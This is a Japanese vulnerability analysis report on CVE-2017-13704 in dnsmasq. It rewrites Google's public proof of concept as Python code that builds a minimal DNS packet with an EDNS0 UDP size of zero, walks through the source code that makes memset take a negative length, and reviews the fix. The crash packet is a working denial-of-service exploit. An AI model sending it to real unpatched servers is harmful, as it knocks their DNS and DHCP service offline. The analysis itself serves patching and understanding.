スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Behind Behind the Masq : CVE-2017-13704

タイガーチームセキュリティレポート

Behind Behind the Masq : CVE-2017-13704

Behind the Maskといえば1979年に発表されたYMOの楽曲であり、ロックっぽく聞こえる理由が2011年にTV番組で明らかにされた、長年愛されている名曲です。このレポートはそのMaskではなくdnsmasqの脆弱性の裏側を覗き見るものです。

CVE-2017-13704は2017年10月2日に公開された7件のdnsmasqの脆弱性のうちの一つです。これらの脆弱性は2.77以前のバージョンのdnsmasqに存在し、対策は2.78以降へのバージョンアップです。

このレポートでは、公開されたPoCやdnsmasqのcommit diffなどの情報をもとに、攻撃の中身を解析していきます。

関連 :
Behind Behind the Masq : CVE-2017-14491
Behind Behind the Masq : CVE-2017-14492
Behind Behind the Masq : CVE-2017-14493
Behind Behind the Masq : CVE-2017-14494
Behind Behind the Masq : CVE-2017-14495
Behind Behind the Masq : CVE-2017-14496

攻撃の流れ

dnsmasqに対して細工したDNSリクエストを送信すると、memsetに指定するサイズがInteger Underflowを起こし異常終了します。

Attackerdnsmasq細工したDNSリクエストSegmentation Fault

PoC実行結果

Google社が公開したPoCを実行してみた様子です。上のウインドウがdnsmasq、下がAttackerです。 PoCを実行すると、AddressSanitizerがnegative-size-paramを検知して異常終了します。AddressSanitizerを組み込んでいない場合は、SegmentationFaultが発生します。

攻撃後にdnsmasq側で表示されているメッセージはAddress Sanitizerによるものです。詳しくはこちらをご覧ください。

パケット解析

検証に使用したPoCはCVE-2017-14496.pyです。このPoCは確かにCVE-2017-14496を攻撃するものでもありますが、CVE-2017-13704が修正される前のdnsmasqに対してはCVE-2017-13704のPoCとして動作します。


それでは、パケットの中身を見ていきましょう。

コードはこちらです。このPoCは今回のdnsmasq脆弱性検証シリーズの中で2番目に分かりにくいものです。おそらくFuzzerが作ったパケットをそのままコードに落とし込んだのでしょう。分かりやすく書き下すと、以下のようになります。

def cve_2017_13704():
  rdata = '''fe 32 01 13 79 00 00 00  00 00 00 00 01 00 00 00
             61 00 08 08 08 08 08 08  08 08 08 08 08 08 08 08
             00 00 00 00 00 00 00 00  6f 29 fb ff ff ff 00 00
             00 00 00 00 00 00 00 03  00 00 00 00 00 00 00 00
             02 8d 00 00 00 f9 00 00  00 00 00 00 00 00 00 00
             00 5c 00 00 00 01 ff ff  00 35 13 01 0d 06 1b 00
             00 00 00 00 00 00 00 00  00 00 04 00 00 29 00 00
             3a 00 00 00 01 13 00 08  01 00 00 00 00 00 00 01
             00 00 00 61 00 08 08 08  08 08 08 08 08 08 13 08
             08 08 00 00 00 00 00 00  00 00 00 6f 29 fb ff ff
             ff 00 29 00 00 00 00 00  00 00 00 00 00 00 00 00
             00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
             00 00 00 00 00 00 00 02  8d 00 00 00 f9 00 00 00
             00 00 00 00 00 00 00 00  00 00 01 00 00 00 00 00
             00 01 ff ff 00 35 13 00  00 00 00 00 b6 00 00 13
             00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
             00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
             00 00 00'''.replace(' ', '').replace('\n', '').decode('hex')

  empty_record = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

  data = b"".join([
    # ---- Header
    '\x00\x00',    # ID
    '\x00\x00',    # flags
    '\x00\x00',    # QDCOUNT/ZOCOUNT
    '\x00\x00',    # ANCOUNT/PRCOUNT
    '\x00\x00',    # NSCOUNT/UPCOUNT
    '\x00\x04',    # ARCOUNT

    # ---- Additional Record(1)
    '\x00',             # NAME
    '\x00\x29',         # TYPE
    '\x00\x00',         # CLASS
    '\x3a\x00\x00\x00', # TTL
    '\x01\x13',         # RDLEN
    rdata,              # RDATA

    # ---- Additional Record(2-6)
    empty_record * 5,

    # ---- Additional Record(7)
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x05\x01\x20\x00\x01'
  ])

  return data

オッカムの剃刀を振るうと、以下のようになります。

def cve_2017_13704():
  data = b"".join([
    # ---- Header
    '\x00\x00',    # ID
    '\x00\x00',    # flags
    '\x00\x00',    # QDCOUNT/ZOCOUNT
    '\x00\x00',    # ANCOUNT/PRCOUNT
    '\x00\x00',    # NSCOUNT/UPCOUNT
    '\x00\x01',    # ARCOUNT

    # ---- Additional Record
    '\x00',             # NAME
    '\x00\x29',         # TYPE
    '\x00\x00',         # CLASS
    '\x00\x00\x00\x00', # TTL
    '\x00\x00'          # RDLEN
  ])

  return data

だいぶスッキリしました。これだけでCVE-2017-13704を攻撃できるので、解説には一番コンパクトなPoCを用います。

ヘッダ部

フォーマットはrfc1035 Header section formatです。

                                1  1  1  1  1  1
  0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      ID                       |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    QDCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ANCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    NSCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ARCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

コードを再掲します。

    # ---- Header
    '\x00\x00',    # ID
    '\x00\x00',    # flags
    '\x00\x00',    # QDCOUNT/ZOCOUNT
    '\x00\x00',    # ANCOUNT/PRCOUNT
    '\x00\x00',    # NSCOUNT/UPCOUNT
    '\x00\x01',    # ARCOUNT

Additional Recordが1件のみ存在することを宣言しています。他に特記すべき事項はありません。

Additional Record

1件だけ存在するAdditional Recordです。 リソースレコードのフォーマットはrfc1035で定義されていますが、このレコードは、EDNS(0)のOPTレコードなので、フォーマット定義はrfc6891のものを参照します。

+------------+--------------+------------------------------+
| Field Name | Field Type   | Description                  |
+------------+--------------+------------------------------+
| NAME       | domain name  | MUST be 0 (root domain)      |
| TYPE       | u_int16_t    | OPT (41)                     |
| CLASS      | u_int16_t    | requestor's UDP payload size |
| TTL        | u_int32_t    | extended RCODE and flags     |
| RDLEN      | u_int16_t    | length of all RDATA          |
| RDATA      | octet stream | {attribute,value} pairs      |
+------------+--------------+------------------------------+

コードはこちらです。

    # ---- Additional Record
    '\x00',             # NAME
    '\x00\x29',         # TYPE
    '\x00\x00',         # CLASS
    '\x00\x00\x00\x00', # TTL
    '\x00\x00'          # RDLEN

TYPEここで定義されています。0x0029 = 41はOPTレコードを表しており、フォーマットはrfc6891にて再定義されています。

rfc6891はEDNS(0)と呼ばれる、DNSを拡張する仕様です。たとえば、元々はリソースレコードのクラスを表現するCLASSフィールドは、EDNS(0)ではクライアントが受信可能なUDPペイロードサイズを通知する領域として利用されます。また、リソースレコードのキャッシュ期間を表すTTLは、EDNS(0)ではRCODE(リターンコード)や、VERSIONなどを格納する領域として利用されます。

今回のPoCでは、UDPペイロードサイズを通知すべきCLASS0x0000 = 0が指定されています。つまり、このデータの送信者はUDPで受信可能なパケットサイズが0バイトである、と通知しているのです。これだけがこのPoCのポイントです。

罹患箇所

罹患箇所を見ていきましょう。参照するコードは全てバージョン2.78test2のものです。

この脆弱性は、memsetシステムコールの第三引数である初期化サイズに負数を指定してしまうことが原因です。場所はsrc/rfc1035.c#1228answer_request関数の冒頭です。

  /* Clear buffer beyond request to avoid risk of
     information disclosure. */
  memset(((char *)header) + qlen, 0,
	 (limit - ((char *)header)) - qlen);

このコードの目的は、リクエストパケットの後ろの領域をゼロクリアすることです。問題は、memsetの第三引数(limit - ((char *)header)) - qlenの値が負数になることにあります。それでは、それぞれの変数の値を調べて見ましょう。

headerの値

headeranswer_requestの第一引数です。src/rfc1035.c#1209で定義されています。

/* return zero if we can't answer from cache, or packet size if we can */
size_t answer_request(struct dns_header *header, char *limit, size_t qlen,
		      struct in_addr local_addr, struct in_addr local_netmask,
		      time_t now, int ad_reqd, int do_bit, int have_pseudoheader)

発症時、この関数を呼び出しているのはsrc/forward.c#1434receive_query関数内です。

      m = answer_request(header, ((char *) header) + udp_size, (size_t)n,
			 dst_addr_4, netmask, now, ad_reqd, do_bit, have_pseudoheader);

headerは、receive_query関数の冒頭src/forward.c#1120で、次のように初期化されています。

  struct dns_header *header = (struct dns_header *)daemon->packet

したがって、headerdaemon->packetと同じアドレスを指しているということです。さらに、daemon->packetsrc/forward.c#1174-1185で、以下のように初期化されています。

  iov[0].iov_base = daemon->packet;                  /* (1) */
  iov[0].iov_len = daemon->edns_pktsz;

  msg.msg_control = control_u.control;
  msg.msg_controllen = sizeof(control_u);
  msg.msg_flags = 0;
  msg.msg_name = &source_addr;
  msg.msg_namelen = sizeof(source_addr);
  msg.msg_iov = iov;
  msg.msg_iovlen = 1;

  if ((n = recvmsg(listen->fd, &msg, 0)) == -1)      /* (2) */
    return;

(1)で、iov構造体のiov_basedaemon->packetポインタをセットしています。 iov_basereadvシステムコールで使用される構造体のメンバで、受信したパケットを格納する領域の先頭アドレスを指します。(2)のrecvmsgシステムコールは、受信したパケットをiov_baseポインタの指す領域に格納します。

iov_basedaemon->packetであり、daemon->packetheaderでしたね。ということは、headeriov_baseと同じアドレスを指しており、つまり受信パケットの先頭アドレスを示すということがわかりました。

limitの値

本来この変数limitには、パケットの末尾アドレス+1を示すことを期待されています。まずは、定義を再掲します。limitは、answer_requestの第二引数です。

/* return zero if we can't answer from cache, or packet size if we can */
size_t answer_request(struct dns_header *header, char *limit, size_t qlen,
		      struct in_addr local_addr, struct in_addr local_netmask,
		      time_t now, int ad_reqd, int do_bit, int have_pseudoheader)

呼び出し箇所も再掲します。この時、第二引数には((char *) header) + udp_sizeという値が指定されています。

      m = answer_request(header, ((char *) header) + udp_size, (size_t)n,
			 dst_addr_4, netmask, now, ad_reqd, do_bit, have_pseudoheader);

つまり、limitにはheaderが示すアドレスにudp_sizeを加算したアドレスが入るということです。

では、引き続きudp_sizeがセットされる経緯を調べます。udp_sizeは、receive_query関数の中盤、src/forward.c#1395-1411にてセットされますが、そこで呼び出されるfind_pseudoheaderの動きを先に確かめましょう。注目したいのは、src/edns0.c#64-81です。

      unsigned char *save, *start = ansp;
      if (!(ansp = skip_name(ansp, header, plen, 10))) /* (3) */
        return NULL;

      GETSHORT(type, ansp);
      save = ansp;                                     /* (4) */
      GETSHORT(class, ansp);
      ansp += 4; /* TTL */
      GETSHORT(rdlen, ansp);
      if (!ADD_RDLEN(header, ansp, plen, rdlen))
        return NULL;
      if (type == T_OPT)
        {
          if (len)
            *len = ansp - start;

          if (p)
            *p = save;                                 /* (5) */

ここの処理開始時、anspはOPTレコードの先頭アドレスを示しています。そのアドレスに対し、まずはskip_nameNAMEフィールドを読み飛ばします(3)。 GETSHORTマクロは、第二引数の示すアドレスから2バイト分を第一引数にコピーし、第二引数のアドレスを2バイト分進めます。これによって(4)では、OPTレコードの4バイト目のアドレスがsaveポインタにコピーされます。続いて、退避したsaveを(5)でpにコピーしています。pは、find_pseudoheaderの第四引数です。この処理の結果、pは、OPTレコードのCLASSのアドレスを指し示すことになります。

これを踏まえて、receive_query関数内の動きを見てみましょう。場所は、src/forward.c#1395-1411です。

  if (find_pseudoheader(header, (size_t)n, NULL, &pheader, NULL, NULL))
    {
      unsigned short flags;

      have_pseudoheader = 1;
      GETSHORT(udp_size, pheader);        /* (6) */
      pheader += 2; /* ext_rcode */
      GETSHORT(flags, pheader);

      if (flags & 0x8000)
        do_bit = 1;/* do bit */

      /* If the client provides an EDNS0 UDP size, use that to limit our reply.
         (bounded by the maximum configured). If no EDNS0, then it
         defaults to 512 */
      if (udp_size > daemon->edns_pktsz)  /* (7) */
        udp_size = daemon->edns_pktsz;
    }

find_pseudoheaderの第四引数&pheaderには、OPTレコードのCLASSフィールドのアドレスがセットされることを先ほど確認しました。(6)のGETSHORTマクロで、CLASSフィールドの2バイトをudp_sizeにコピーしています。

続いて、(7)では取得したudp_sizedaemon->edns_pktszより大きい場合は、daemon->edns_pktszの値で丸めるという処理が行われています。 daemon->edns_pktszCVE-2017-14491の検証で追いかけた通り、デフォルトでは4,096という値がセットされます。PoCでは、CLASSの値が0x0000にセットされているため、この値が更新されることはなくゼロのままです。

udp_sizeの値がわかったので、改めて呼び出し箇所を見てみましょう。

      m = answer_request(header, ((char *) header) + udp_size, (size_t)n,
			 dst_addr_4, netmask, now, ad_reqd, do_bit, have_pseudoheader);

limitの値はanswer_requestの第二引数でした。第二引数は((char *) header) + udp_sizeです。udp_sizeの値はゼロであることがわかっています。したがって、limitheaderのアドレスにゼロを足したアドレス、つまりheaderと同じアドレスを指し示しているということです。

qlenの値

最後です。qlenanswer_requestの第三引数です。ギガが減るので同じコードの引用はもうしません。呼び出し元は第三引数にnという変数を渡しています。

nには、recvmsgの返却値が格納されています。場所はsrc/forward.c#1185です。

  if ((n = recvmsg(listen->fd, &msg, 0)) == -1)

recvmsgシステムコールは、受信したメッセージの長さを返却するので、この攻撃(コンパクトな方)の場合は23という値が返却されます。

したがって、qlenの値は23です。

罹患箇所

罹患箇所を再掲します。

  /* Clear buffer beyond request to avoid risk of
     information disclosure. */
  memset(((char *)header) + qlen, 0,
	 (limit - ((char *)header)) - qlen);

問題は、第三引数の(limit - ((char *)header)) - qlenがどのような値になるか、ということでしたね。

これまでの解析でわかった通り、limitheaderは同じアドレスを指しています。したがって、(limit - ((char *) header))の値はゼロです。

qlenの値は23なので、上記の式は0 - 23 = -23となります。memsetの第三引数に負数を指定することになるので、ここでSegmentationFaultが発生します。

修正内容

commit diffをみてみましょう。横並びと思しき修正も入っているので、ここでは、上記の解析に関わる部分のみ引用します。

まずは、罹患箇所、src/rfc1035.cの修正です。

--- a/src/auth.c
+++ b/src/auth.c
@@ -119,11 +119,6 @@ size_t answer_auth(struct dns_header *header, char *limit, size_t qlen, time_t n
   struct cname *a, *candidate;
   unsigned int wclen;

-  /* Clear buffer beyond request to avoid risk of
-     information disclosure. */
-  memset(((char *)header) + qlen, 0,
-        (limit - ((char *)header)) - qlen);
-
   if (ntohs(header->qdcount) == 0 || OPCODE(header) != QUERY )
     return 0;

ざっくりと初期化処理を削除しています。この処理は、src/forward.cのreceive_query関数に移動しています。

--- a/src/forward.c
+++ b/src/forward.c
@@ -1188,6 +1188,10 @@ void receive_query(struct listener *listen, time_t now)
       (msg.msg_flags & MSG_TRUNC) ||
       (header->hb3 & HB3_QR))
     return;
+
+  /* Clear buffer beyond request to avoid risk of
+     information disclosure. */
+  memset(daemon->packet + n, 0, daemon->edns_pktsz - n);

   source_addr.sa.sa_family = listen->family;

このコードを見て、「ndaemon->edns_pktszを超えたら死んじゃう!」と一瞬心配したのですが、そのようなことは起こりません。nは、recvmsgシステムコールの返却値であることは既に上で提示した通りです。recvmsgシステムコールは、iov構造体のiov_lenメンバにセットされたサイズを越えると、エラーを返すようになっています。iov_lenメンバには、下記の通りdaemon->edns_pktszがセットされています。場所は、src/forward.c#1174(v2.78)です。

  iov[0].iov_len = daemon->edns_pktsz;

エラー発生時には、returnしているので、ndaemon->edns_pktszより大きい状態で上記の修正箇所まで到達することはありません。

まとめ

CVE-2017-13704を検証しました。この脆弱性の検証は当初、CVE-2017-14496.pyの動作検証から始まりました。ところが何度試してもこのPoCはCVE-2017-13704に刺さるので、私はPoCに誤りがあるのではないかと早とちりし、修正版のPull Requestまで送ってしまいました。が、今回のレポート作成のためよくよく調べて見ると、dnsmasqのコミットによってはCVE-2017-14496を攻撃したり、CVE-2017-13704を攻撃したりする一石二鳥(?)のPoCであることがわかり、Pull RequestをCloseした次第です。

参考情報

[1] Behind the Masq: Yet more DNS, and DHCP, vulnerabilities (Google Security Blog)
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html

[2] google / security-research-pocs (github)
https://github.com/google/security-research-pocs

[3] dnsmasq (thekelleys)
http://thekelleys.org.uk/gitweb/?p=dnsmasq.git;a=summary

[4] google / sanitizers (github)
https://github.com/google/sanitizers

[5] rfc1035 DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION (IETF Tools)
https://tools.ietf.org/html/rfc1035

[6] rfc6891 Extension Mechanisms for DNS (EDNS(0)) (IETF Tools)
https://tools.ietf.org/html/rfc6891

[7] Domain Name System (DNS) Parameters (IANA)
https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml

[8] READV(2) (Linux Programmer's Manual)
http://man7.org/linux/man-pages/man2/readv.2.html

[9] RECV(2) (Linux Programmer's Manual)
http://man7.org/linux/man-pages/man2/recv.2.html

[10] ビハインド・ザ・マスク_(曲) (Wikipedia)
https://ja.wikipedia.org/wiki/ビハインド・ザ・マスク_(曲)


R&D部準備室 柏崎央士